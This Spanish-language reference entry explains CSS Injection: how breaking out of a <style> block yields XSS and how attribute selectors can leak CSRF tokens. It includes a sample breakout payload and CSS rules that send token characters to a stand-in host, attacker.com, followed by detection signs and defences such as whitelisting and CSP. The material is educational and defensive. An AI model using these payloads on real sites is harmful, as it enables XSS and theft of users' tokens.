CSS Injection (CSSI)
La inyección de CSS (CSSI) ocurre cuando una aplicación incrusta la entrada del usuario dentro de una hoja de estilos o de un bloque <style> sin escaparla. Tiene dos desenlaces. El primero y más directo: si la entrada cae dentro de un <style>, cerrando la etiqueta se rompe el contexto CSS y se inyecta HTML/JS arbitrario, es decir, un XSS. El segundo, más sutil y aplicable aun cuando solo se admite CSS "puro": usar selectores de atributo para exfiltrar datos (tokens CSRF, valores de campos) sin ejecutar JavaScript.
El caso de salida a XSS es el más habitual en laboratorio: un campo "color favorito" que se refleja en el style. Cerrando la etiqueta se inyecta un script:
azul</style><script>alert('XSS')</script>Cuando el sink admite CSS pero no permite salir de él, la CSSI sigue siendo peligrosa por exfiltración por selector de atributo. Un selector que casa con el prefijo de un valor sensible dispara una petición a un servidor del atacante; iterando prefijo a prefijo se reconstruye el valor carácter a carácter:
input[name="csrf"][value^="a"] { background: url(https://attacker.com/leak?c=a); }
input[name="csrf"][value^="b"] { background: url(https://attacker.com/leak?c=b); }
/* el prefijo que dispare la peticion revela el siguiente caracter del token */Requisitos. La entrada debe reflejarse dentro de un contexto de estilo (un <style> o un atributo style=). Para el salto a XSS, el sink no debe escapar </> ni filtrar </style>. Para la exfiltración por selector, basta con que se admita CSS y que en la página exista el dato objetivo (un value de un input, por ejemplo); ayuda que se puedan cargar recursos externos (sin una CSP img-src/style-src restrictiva).
Cómo detectarlo. El salto a XSS deja la firma habitual: </style>, <script> o manejadores de evento en un parámetro reflejado, que un WAF marca. La exfiltración por CSS es más silenciosa, pero delatan el patrón las ráfagas de peticiones a un mismo host externo desde url() variando un prefijo, y su bloqueo queda registrado como violación de CSP si hay img-src/style-src acotados.
Defensa. No incrustar entrada del usuario en CSS: si hay que reflejar un color o un tamaño, validarlo contra una lista blanca estricta (por ejemplo, solo #rrggbb o nombres de color conocidos) y escapar el contexto. Aplicar una CSP que restrinja style-src e img-src a orígenes propios corta tanto el XSS como la exfiltración por url(). Se solapa con la CSTI y el XSS.